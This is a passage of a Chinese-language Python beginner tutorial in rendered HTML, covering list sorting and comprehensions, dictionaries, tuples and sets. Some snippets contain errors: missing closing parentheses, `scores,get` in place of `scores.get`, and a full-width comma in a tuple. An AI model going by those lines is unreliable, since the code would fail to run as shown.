class="string">&#x27;排序前的列表&#x27;</span>,lst,<span class="built_in">id</span>(lst))</span><br><span class="line"><span class="comment">#调用列表对象的sort方法，默认升序</span></span><br><span class="line">lst.sort()</span><br><span class="line">print(<span class="string">&#x27;排序后的列表&#x27;</span>,lst,<span class="built_in">id</span>(lst))</span><br><span class="line"><span class="comment">#指定参数进行降序</span></span><br><span class="line">lst.sort(reverse = <span class="literal">True</span>)</span><br><span class="line">print(lst)</span><br><span class="line">lst.sort(reverse = <span class="literal">False</span>)</span><br><span class="line">print(lst)</span><br><span class="line">print(<span class="string">&#x27;-------调用内置函数sorted()对列表对象进行排序，产生一个新的列表对象----&#x27;</span>)</span><br><span class="line">lst = [<span class="number">20</span>,<span class="number">40</span>,<span class="number">10</span>,<span class="number">98</span>,<span class="number">54</span>]</span><br><span class="line">print(<span class="string">&#x27;原列表&#x27;</span>,lst)</span><br><span class="line">new_lst = <span class="built_in">sorted</span>(lst)</span><br><span class="line">print(lst)</span><br><span class="line">print(new_lst)</span><br><span class="line">desc_lst = <span class="built_in">sorted</span>(lst,reverse =<span class="literal">True</span></span><br><span class="line">print(desc_lst)</span><br></pre></td></tr></table></figure><h2 id="5-列表推导式"><a class="markdownIt-Anchor" href="#5-列表推导式">#</a> 5. 列表推导式</h2><p><strong>列表生成式</strong>简称生成列表的公式。<br>语法格式：<br>[i*i for i in range(1,10)]</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">lst = [i <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">10</span>)]</span><br><span class="line">lst1 = [i*i <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">10</span>)]</span><br><span class="line">print(lst)</span><br><span class="line">print(lst1)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;列表中的元素的值为2 4 6 8 10 &#x27;&#x27;&#x27;</span></span><br><span class="line">lst2 = [i*<span class="number">2</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">6</span>)]</span><br><span class="line">print(lst2)</span><br></pre></td></tr></table></figure><h1 id="八-夫妻站"><a class="markdownIt-Anchor" href="#八-夫妻站">#</a> 八、夫妻站</h1><p>什么是<strong>字典</strong>？Python 内置的数据结构之一，与列表一样是一个可变序列；以键值对的方式存储数据，字典是一个无序的序列。</p><p 张三:100,李四:98,王五:45="">scores =</p><p><strong>字典的实现原理</strong>：字典的实现原理与查字典类似，查字典是先根据部首或拼音查找对应的页码，Python 中的字典是根据 key 查找 Value 所在的位置。</p><h2 id="1-创建字典"><a class="markdownIt-Anchor" href="#1-创建字典">#</a> 1. 创建字典</h2><ul><li 张三:100,李四:98,王五:45="">使用花括号：scores=</li><li>使用 dict 内置函数：dict (name=‘jack’,age =20)</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;使用&#123;&#125;创建字典&#x27;&#x27;&#x27;</span></span><br><span class="line">scores = &#123;<span class="string">&#x27;张三&#x27;</span>:<span class="number">100</span>,<span class="string">&#x27;李四&#x27;</span>:<span class="number">98</span>,<span class="string">&#x27;王五&#x27;</span>:<span class="number">45</span>&#125;</span><br><span class="line">print(scores)</span><br><span class="line">print(<span class="built_in">type</span>(scores))</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;使用内置函数dict&#x27;&#x27;&#x27;</span></span><br><span class="line">student = <span class="built_in">dict</span>(name=<span class="string">&#x27;jack&#x27;</span>,age=<span class="number">20</span>)</span><br><span class="line">print(student)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;空字典&#x27;&#x27;&#x27;</span></span><br><span class="line">d = &#123;&#125;</span><br><span class="line">print(d)</span><br></pre></td></tr></table></figure><h2 id="2-字典中元素的获取"><a class="markdownIt-Anchor" href="#2-字典中元素的获取">#</a> 2. 字典中元素的获取</h2><p>[] 取值与使用 get () 取值的区别：</p><ul><li>[] 如果字典中不存在指定的 key，抛出 keyError 异常</li><li>get () 方法取值，如果字典中不存在指定的 key，并不会抛出 KeyError 而是返回 None，可以通过参数设置默认的 Value，以便指定的 key 不存在时返回</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;获取字典中的值&#x27;&#x27;&#x27;</span></span><br><span class="line">scores = &#123;<span class="string">&#x27;张三&#x27;</span>:<span class="number">100</span>,<span class="string">&#x27;李四&#x27;</span>:<span class="number">98</span>,<span class="string">&#x27;王五&#x27;</span>:<span class="number">45</span>&#125;</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27; 第一种方式，使用[]&#x27;&#x27;&#x27;</span></span><br><span class="line">print(scores[<span class="string">&#x27;张三&#x27;</span>])</span><br><span class="line">print(scores[<span class="string">&#x27;陈六&#x27;</span>])         <span class="comment">#KeyError</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;第二种方式 使用get&#x27;&#x27;&#x27;</span></span><br><span class="line">print(scores,get(<span class="string">&#x27;张三&#x27;</span>))</span><br><span class="line">print(scores,get(<span class="string">&#x27;陈六&#x27;</span>))     <span class="comment">#None</span></span><br><span class="line">print(scores,get(<span class="string">&#x27;麻七&#x27;</span>,<span class="number">99</span>))  <span class="comment">#99是在查找麻七对应的value不存在时，提供的一个返回值</span></span><br></pre></td></tr></table></figure><h2 id="3-字典的常用操作"><a class="markdownIt-Anchor" href="#3-字典的常用操作">#</a> 3. 字典的常用操作</h2><ul><li>key 的判断：in 和 not in</li><li>字典元素的删除 del</li><li>字典元素的新增</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;key的判断&#x27;&#x27;&#x27;</span></span><br><span class="line">scores = &#123;<span class="string">&#x27;张三&#x27;</span>:<span class="number">100</span>,<span class="string">&#x27;李四&#x27;</span>:<span class="number">98</span>,<span class="string">&#x27;王五&#x27;</span>:<span class="number">45</span>&#125;</span><br><span class="line">print(<span class="string">&#x27;张三&#x27;</span> <span class="keyword">in</span> scores)</span><br><span class="line">print(<span class="string">&#x27;张三&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> scores)</span><br><span class="line"></span><br><span class="line"><span class="keyword">del</span> scores[<span class="string">&#x27;张三&#x27;</span>]    <span class="comment"># 删除指定的key-value对</span></span><br><span class="line"><span class="comment">#scores.clear()      #清空字典元素</span></span><br><span class="line">print(scores)</span><br><span class="line">scores[<span class="string">&#x27;陈六&#x27;</span>] = <span class="number">98</span>   <span class="comment">#新增元素</span></span><br><span class="line">print(scores)</span><br><span class="line">scores[<span class="string">&#x27;陈六&#x27;</span>] = <span class="number">100</span>  <span class="comment">#修改元素</span></span><br><span class="line">print(scores)</span><br></pre></td></tr></table></figure><p>获取字典视图的三个方法：keys、values、items</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">scores = &#123;<span class="string">&#x27;张三&#x27;</span>:<span class="number">100</span>,<span class="string">&#x27;李四&#x27;</span>:<span class="number">98</span>,<span class="string">&#x27;王五&#x27;</span>:<span class="number">45</span>&#125;</span><br><span class="line"><span class="comment">#获取所有的key</span></span><br><span class="line">keys = scores.keys()</span><br><span class="line">print(keys)</span><br><span class="line">print(<span class="built_in">type</span>(keys))</span><br><span class="line">print(<span class="built_in">list</span>(keys))  <span class="comment">#将所有的key组成的视图转成列表</span></span><br><span class="line"><span class="comment">#获取所有的Value</span></span><br><span class="line">values = scores.values()</span><br><span class="line">print(values)</span><br><span class="line">print(<span class="built_in">type</span>(values))</span><br><span class="line">print(<span class="built_in">list</span>(values))</span><br><span class="line"><span class="comment">#获取所有的key-value对</span></span><br><span class="line">items = scores.items()</span><br><span class="line">print(items)</span><br><span class="line">print(<span class="built_in">list</span>(items))   <span class="comment">#转换之后的列表元素为元组</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#字典元素的遍历</span></span><br><span class="line">scores = &#123;<span class="string">&#x27;张三&#x27;</span>:<span class="number">100</span>,<span class="string">&#x27;李四&#x27;</span>:<span class="number">98</span>,<span class="string">&#x27;王五&#x27;</span>:<span class="number">45</span>&#125;</span><br><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> scores:</span><br><span class="line">  print(item,scores[item],scores.get(item))</span><br></pre></td></tr></table></figure><h2 id="4-字典的特点"><a class="markdownIt-Anchor" href="#4-字典的特点">#</a> 4. 字典的特点</h2><ul><li>字典中的所有元素都是一个 key-value 对，key 不允许重复，value 可以重复</li><li>字典中的元素是无序的</li><li>字典中的 key 必须是不可变对象</li><li>字典也可以根据需要动态地伸缩</li><li>字典会浪费较大地内存，是一个使用空间换时间地数据结构</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">d = &#123;<span class="string">&#x27;name&#x27;</span>:<span class="string">&#x27;张三&#x27;</span>,<span class="string">&#x27;name&#x27;</span>:<span class="string">&#x27;李四&#x27;</span>&#125;</span><br><span class="line">print(d)</span><br><span class="line"></span><br><span class="line">d = &#123;<span class="string">&#x27;name&#x27;</span>:<span class="string">&#x27;张三&#x27;</span>,<span class="string">&#x27;nikename&#x27;</span>:<span class="string">&#x27;张三&#x27;</span>&#125;</span><br><span class="line">print(d)</span><br></pre></td></tr></table></figure><h2 id="5-字典生成式"><a class="markdownIt-Anchor" href="#5-字典生成式">#</a> 5. 字典生成式</h2><p>内置函数 zip (): 用于将可迭代对象作为参数，将对象中对应地元素打包成一个元组，然后返回由这些元组组成的列表</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">items = [<span class="string">&#x27;Fruits&#x27;</span>,<span class="string">&#x27;Books&#x27;</span>,<span class="string">&#x27;Others&#x27;</span>]</span><br><span class="line">prices = [<span class="number">96</span>,<span class="number">78</span>,<span class="number">85</span>,<span class="number">100</span>,<span class="number">120</span>]</span><br><span class="line">d = &#123;item.upper():prices  <span class="keyword">for</span> item,prices <span class="keyword">in</span> <span class="built_in">zip</span>(items,prices)&#125;</span><br><span class="line">print(d)</span><br></pre></td></tr></table></figure><h1 id="九-是排还是散"><a class="markdownIt-Anchor" href="#九-是排还是散">#</a> 九、是排还是散</h1><h2 id="1-元组"><a class="markdownIt-Anchor" href="#1-元组">#</a> 1. 元组</h2><p><strong>元组</strong>是 Python 内置的数据结构之一，属于不可变序列。t=(‘Python’,‘hello’,90)</p><p>不可变序列与可变序列:</p><ul><li>不可变序列（没有增删改操作）：字符串、元组</li><li>可变序列（可进行增删改操作，对象地址不发生更改）：列表、字典</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;可变序列   列表、字典&#x27;&#x27;&#x27;</span></span><br><span class="line">lst = [<span class="number">10</span>,<span class="number">20</span>,<span class="number">45</span>]</span><br><span class="line">print(<span class="built_in">id</span>(lst))</span><br><span class="line">lst.append(<span class="number">300</span>)</span><br><span class="line">print(<span class="built_in">id</span>(lst))</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;不可变序列   字符串、元组&#x27;&#x27;&#x27;</span></span><br><span class="line">s = <span class="string">&#x27;hello&#x27;</span></span><br><span class="line">print(<span class="built_in">id</span>(s))</span><br><span class="line">s = s+<span class="string">&#x27;world&#x27;</span></span><br><span class="line">print(<span class="built_in">id</span>(s))</span><br><span class="line">print(s)</span><br></pre></td></tr></table></figure><h3 id="1元组的创建方式"><a class="markdownIt-Anchor" href="#1元组的创建方式">#</a> （1）元组的创建方式</h3><ul><li>使用小括号  t=(‘Python’,‘hello’,90)</li><li>使用内置函数 tuple ()  t=tuple ((‘Python’,‘hello’,90))</li><li>只包含一个元组的元素需要使用逗号和小括号  t=(10,)</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;元组的创建方式&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="comment">#第一种使用小括号</span></span><br><span class="line">t = (<span class="string">&#x27;Python&#x27;</span>,<span class="string">&#x27;hello&#x27;</span>,<span class="number">98</span>)</span><br><span class="line">print(<span class="built_in">type</span>(t))</span><br><span class="line"></span><br><span class="line">t0 = <span class="string">&#x27;Python&#x27;</span>,<span class="string">&#x27;hello&#x27;</span>,<span class="number">98</span></span><br><span class="line">print(t0)</span><br><span class="line">print(<span class="built_in">type</span>(t0))</span><br><span class="line"></span><br><span class="line">t3 = (<span class="string">&#x27;Python&#x27;</span>,)     <span class="comment">#如果元组中只有一个元素，逗号不能省略</span></span><br><span class="line">print(t3)</span><br><span class="line">print(<span class="built_in">type</span>(t3))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#第二种使用内置函数tuple</span></span><br><span class="line">t1 = <span class="built_in">tuple</span>((<span class="string">&#x27;Python&#x27;</span>,<span class="string">&#x27;hello&#x27;</span>,<span class="number">98</span>))</span><br><span class="line">print(t1)</span><br><span class="line">print(<span class="built_in">type</span>(t1))</span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;空元组的创建方式&#x27;&#x27;&#x27;</span></span><br><span class="line">lst =[]</span><br><span class="line">lst1= <span class="built_in">list</span>()</span><br><span class="line"></span><br><span class="line">d=&#123;&#125;</span><br><span class="line">d2=<span class="built_in">dict</span>()</span><br><span class="line"></span><br><span class="line">t4=()</span><br><span class="line">t5=<span class="built_in">tuple</span>()</span><br><span class="line"></span><br><span class="line">print(<span class="string">&#x27;空列表&#x27;</span>,lst,lst1)</span><br><span class="line">print(<span class="string">&#x27;空字典&#x27;</span>,d,d2)</span><br><span class="line">print(<span class="string">&#x27;空元组&#x27;</span>,t4,t5)</span><br></pre></td></tr></table></figure><h3 id="2为什么将元组设计成不可变序列"><a class="markdownIt-Anchor" href="#2为什么将元组设计成不可变序列">#</a> （2）为什么将元组设计成不可变序列</h3><ul><li>在多任务环境下，同时操作对象时不需要加锁</li><li>因此，在程序中尽量使用不可变序列</li><li>注意：元组中存储的是对象的引用<br><img src="../PythonProjects/Typora_image/610d82ae09cd4fbdad7c15b055a853cf.png" alt="示意图"></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">t = (<span class="number">10</span>,[<span class="number">20</span>,<span class="number">30</span>],<span class="number">9</span>)</span><br><span class="line">print(t)</span><br><span class="line">print(<span class="built_in">type</span>(t))</span><br><span class="line">print(t[<span class="number">0</span>],<span class="built_in">type</span>(t[<span class="number">0</span>]),<span class="built_in">id</span>(t[<span class="number">0</span>]))</span><br><span class="line">print(t[<span class="number">1</span>],<span class="built_in">type</span>(t[<span class="number">1</span>]),<span class="built_in">id</span>(t[<span class="number">1</span>]))</span><br><span class="line">print(t[<span class="number">2</span>],<span class="built_in">type</span>(t[<span class="number">2</span>]),<span class="built_in">id</span>(t[<span class="number">2</span>]))</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;尝试将t[1]修改为100&#x27;&#x27;&#x27;</span></span><br><span class="line">print(<span class="built_in">id</span>(<span class="number">100</span>))</span><br><span class="line"><span class="comment">#t[1]=100    #元组是不允许修改元素的</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;由于[20,30]是列表，而列表是可变序列，所以可以向列表中添加元素，而列表的内存地址不变&#x27;&#x27;&#x27;</span></span><br><span class="line">t[<span class="number">1</span>].append(<span class="number">100</span>)   <span class="comment">#向列表中添加元素</span></span><br><span class="line">print(t,<span class="built_in">id</span>(t[<span class="number">1</span>])</span><br></pre></td></tr></table></figure><h3 id="3元组的遍历"><a class="markdownIt-Anchor" href="#3元组的遍历">#</a> （3）元组的遍历</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;元组的遍历&#x27;&#x27;&#x27;</span></span><br><span class="line">t = (<span class="string">&#x27;Python&#x27;</span>，<span class="string">&#x27;world&#x27;</span>,<span class="number">98</span>)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;第一种获取元组元素的方式，使用索引&#x27;&#x27;&#x27;</span></span><br><span class="line">print(t[<span class="number">0</span>])</span><br><span class="line">print(t[<span class="number">1</span>])</span><br><span class="line">print(t[<span class="number">2</span>])</span><br><span class="line"><span class="comment">#print(t[3])   #IndexError</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;遍历元组&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> t:</span><br><span class="line">  print(item)</span><br></pre></td></tr></table></figure><h2 id="2-集合"><a class="markdownIt-Anchor" href="#2-集合">#</a> 2. 集合</h2><p><strong>集合</strong>是 Python 语言提供的内置数据结构；与列表、字典一样都属于可变类型的序列；是没有 Value 的字典，只有 key。</p><h3 id="1集合的创建方式"><a class="markdownIt-Anchor" href="#1集合的创建方式">#</a> （1）集合的创建方式</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;第一种创建方式使用&#123;&#125;&#x27;&#x27;&#x27;</span></span><br><span class="line">s = &#123;<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">5</span>,<span class="number">6</span>,<span class="number">7</span>,<span class="number">7</span>&#125;<span class="comment">#集合中的元素不允许重复</span></span><br><span class="line">print(s)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;第二种创建方式使用set&#123;&#125;&#x27;&#x27;&#x27;</span></span><br><span class="line">s1 = <span class="built_in">set</span>(<span class="built_in">range</span>(<span class="number">6</span>))</span><br><span class="line">print(s1,<span class="built_in">type</span>(s1))</span><br><span class="line"></span><br><span class="line">s2 = <span class="built_in">set</span>([<span class="number">1</span>,<span class="number">2</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">5</span>,<span class="number">5</span>,<span class="number">6</span>,<span class="number">6</span>])</span><br><span class="line">print(s2,<span class="built_in">type</span>(s2))</span><br><span class="line"></span><br><span class="line">s3 = <span class="built_in">set</span>((<span class="number">1</span>,<span class="number">2</span>,<span class="number">4</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">65</span>))   <span class="comment">#集合中的元素是无序的</span></span><br><span class="line">print(s3,<span class="built_in">type</span>(s3))</span><br><span class="line"></span><br><span class="line">s4 = <span class="built_in">set</span>(<span class="string">&#x27;Python&#x27;</span>)</span><br><span class="line">print(s4,<span class="built_in">type</span>(s4))</span><br><span class="line"></span><br><span class="line">s5 = <span class="built_in">set</span>(&#123;<span class="number">12</span>,<span class="number">4</span>,<span class="number">34</span>,<span class="number">55</span>,<span class="number">66</span>,<span class="number">44</span>,<span class="number">4</span>&#125;)</span><br><span class="line">print(s5,<span class="built_in">type</span>(s5))</span><br><span class="line"></span><br><span class="line"><span class="comment">#定义一个空集合</span></span><br><span class="line">s6 = &#123;&#125;</span><br><span class="line">print(<span class="built_in">type</span>(s6))</span><br><span class="line"></span><br><span class="line">s7 = <span class="built_in">set</span>()</span><br><span class="line">print(<span class="built_in">type</span>(s7))</span><br></pre></td></tr></table></figure><h3 id="2集合的相关操作"><a class="markdownIt-Anchor" href="#2集合的相关操作">#</a> （2）集合的相关操作</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">s = &#123;<span class="number">10</span>,<span class="number">20</span>,<span class="number">30</span>,<span class="number">405</span>,<span class="number">60</span>&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">#集合元素的判断操作</span></span><br><span class="line">print(<span class="number">10</span> <span class="keyword">in</span> s)</span><br><span class="line">print(<span class="number">100</span> <span class="keyword">in</span> s)</span><br><span class="line">print(<span class="number">10</span> <span class="keyword">not</span> <span class="keyword">in</span> s)</span><br><span class="line">print(<span class="number">100</span> <span class="keyword">not</span> <span class="keyword">in</span> s)</span><br><span class="line"></span><br><span class="line"><span class="comment">#集合元素的新增操作</span></span><br><span class="line">s.add(<span class="number">80</span>)        <span class="comment">#一次添加一个元素</span></span><br><span class="line">print(s)</span><br><span class="line">s.update(&#123;<span class="number">200</span>,<span class="number">400</span>,<span class="number">300</span>&#125;)   <span class="comment">#一次至少添加一个元素</span></span><br><span class="line">print(s)</span><br><span class="line">s.update([<span class="number">100</span>,<span class="number">99</span>,<span class="number">8</span>])</span><br><span class="line">print(s)</span><br><span class="line">s.update((<span class="number">78</span>,<span class="number">64</span>,<span class="number">56</span>))</span><br><span class="line">print(s)</span><br><span class="line"></span><br><span class="line"><span class="comment">#集合元素的删除操作</span></span><br><span class="line">s.remove(<span class="number">100</span>) <span class="comment">#一次删除一个指定元素，元素不存在抛出KeyError</span></span><br><span class="line">print(s)</span><br><span class="line"><span class="comment">#s.remove(500)   #KeyError</span></span><br><span class="line">s.discard(<span class="number">500</span>)   <span class="comment">#删除一个指定元素，元素不存在不报异常</span></span><br><span class="line">s.discard(<span class="number">300</span>)</span><br><span class="line">print(s)</span><br><span class="line">s.pop()          <span class="comment">#一次只能删除一个任意元素</span></span><br><span class="line">s.pop()</span><br><span class="line"><span class="comment">#s.pop(400)      #TypeError 不能够添加参数</span></span><br><span class="line">print(s)</span><br><span class="line">s.clear()        <span class="comment">#清空集合</span></span><br><span class="line">print(s)</span><br></pre></td></tr></table></figure><h3 id="3集合间的关系"><a class="markdownIt-Anchor" href="#3集合间的关系">#</a> （3）集合间的关系</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;集合是否相等？元素相同即相等，与顺序无关&#x27;&#x27;&#x27;</span></span><br><span class="line">s = &#123;<span class="number">10</span>,<span class="number">20</span>,<span class="number">30</span>,<span class="number">40</span>&#125;</span><br><span class="line">s2 = &#123;<span class="number">30</span>,<span class="number">40</span>,<span class="number">20</span>,<span class="number">10</span>&#125;</span><br><span class="line">print(s == s2)    <span class="comment">#True</span></span><br><span class="line">print(s != s2)    <span class="comment">#False</span></span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;一个集合是否是另一个集合的子集&#x27;&#x27;&#x27;</span></span><br><span class="line">s1 = &#123;<span class="number">10</span>,<span class="number">20</span>,<span class="number">30</span>,<span class="number">40</span>,<span class="number">50</span>,<span class="number">60</span>&#125;</span><br><span class="line">s2 = &#123;<span class="number">10</span>,<span class="number">20</span>,<span class="number">30</span>,<span class="number">40</span>&#125;</span><br><span class="line">s3 = &#123;<span class="number">10</span>,<span class="number">20</span>,<span class="number">90</span>&#125;</span><br><span class="line">print(s2.issubset(s1))</span><br><span class="line">print(s3.issubset(s1))</span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;一个集合是否是另一个集合的超集&#x27;&#x27;&#x27;</span></span><br><span class="line">print(s1.issuperset(s2))</span><br><span class="line">print(s1.issuperset(s3))</span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;两个集合是否含有交集&#x27;&#x27;&#x27;</span></span><br><span class="line">print(s2.isdisjoint(s3))   <span class="comment">#False   有交集为False</span></span><br><span class="line">s4 = &#123;<span class="number">100</span>,<span class="number">200</span>,<span class="number">300</span>&#125;</span><br><span class="line">print(s2.isdisjoint(s4))   <span class="comment">#True   无交集为True</span></span><br></pre></td></tr></table></figure><p>（4）集合的数学操作</p><p><img src="../PythonProjects/Typora_image/e48eb7510aa743a2bb1064f51352a19d.png" alt="集合"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;集合的数学操作&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="comment">#交集</span></span><br><span class="line">s1 = &#123;<span class="number">10</span>,<span class="number">20</span>,<span class="number">30</span>,<span class="number">40</span>&#125;</span><br><span class="line">s2 = &#123;<span class="number">20</span>,<span class="number">30</span>,<span class="number">40</span>,<span class="number">50</span>,<span class="number">60</span>&#125;</span><br><span class="line">print(s1.intersection(s2))</span><br><span class="line">print(s1 &amp; s2)</span><br><span class="line">print(s1)</span><br><span class="line">print(s2)</span><br><span class="line"></span><br><span class="line"><span class="comment">#并集</span></span><br><span class="line">print(s1.union(s2))</span><br><span class="line">print(s1 | s2)</span><br><span class="line">print(s1)</span><br><span class="line">print(s2)</span><br><span class="line"></span><br><span class="line"><span class="comment">#差集</span></span><br><span class="line">print(s1.difference(s2))</span><br><span class="line">print(s1 - s2)</span><br><span 